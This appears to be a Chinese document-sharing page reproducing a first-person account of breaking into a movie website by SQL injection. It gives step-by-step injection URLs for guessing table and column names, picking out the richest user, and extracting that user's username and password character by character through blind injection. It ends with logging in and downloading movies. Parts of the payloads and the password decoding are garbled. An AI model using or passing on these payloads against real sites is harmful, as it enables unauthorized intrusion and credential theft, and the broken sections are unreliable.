sql注入网站入侵实例

sql注入网站入侵实例

ID:22377585

大小:54.50 KB

页数:5页

时间:2018-10-28

sql注入网站入侵实例_第1页
sql注入网站入侵实例_第2页
sql注入网站入侵实例_第3页
sql注入网站入侵实例_第4页
sql注入网站入侵实例_第5页
资源描述:

《sql注入网站入侵实例》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

1、SQL注入网站入侵实例~教育资源库  这几天闲得无聊,想上网Doovie.asp?ID=1000入手,输入movie.asp?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。  2.观察网站环境  网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。  3.猜表名查清楚敌人情况之后,开始行动  行动的第一步都是从猜表名开始,movie.asp?ID=1000,把1000改成(selectcount(1)fromuser),那么,他原来的SQL语句将会变成:  S

2、elect[字段列表]from[影片表]user)  如果猜对表名,将有可能出现下面三种情况:  A.显示某部影片的信息(巧合的情况)  B.显示影片找不到(如果有判断是否为EOF)  C.提示错误信息(EOFORBOF)  如果猜错,将会直接提示找不到表名。  把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%  结果,成功猜中该网站的用户名表名为users  4.猜列名  至于猜列名,不用我介绍大家都应该清楚怎么做了,把(se

3、lectcount(1)fromusers)改成(selectcount(id)fromusers),如没提示找不到字段就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。  果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Passoney  5.锁定目标  让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:  movie.asp?ID=(select1000fromuseroney>1000)  结果:提示子查询不能返回两条以上记录  锁定>10000,提示不

4、变;  锁定>100000,提示找不到记录,说明没有积分大于10万的用户;  从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。  6.计算用户名及密码长度  因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:  movie.asp?ID=(selectlen(UserID)%2B1000fromuseroney>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?

5、拿去搜一下,看看影片ID是多少吧。  搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8  7.分步破解用户名  有点SQL应用经验的人应该都想到方法了,来,敲入:  movie.asp?ID=(selectasc(mid(UserID,1,1))%2B1000fromuseroney>25500)  呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104  同样方法,得出:  asc(mid(UserID,2,1))=117  asc(mid(UserID,3,1))=97  asc

6、(mid(UserID,4,1))=106  asc(mid(UserID,5,1))=105  asc(mid(UserID,6,1))=101  因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e  连起来,用户名就是huajie  8.同样的方法破解密码  asc(mid(Passid(Passid(Passid(Passid(Passid(Passid(Passid(Password,8,1))=55=&

7、gt;chr(4912下一页友情提醒:,特别!)=2  拼起来:19780712,哈哈,又是用生日做密码的!  接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。上一页12友情提醒:,特别!

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。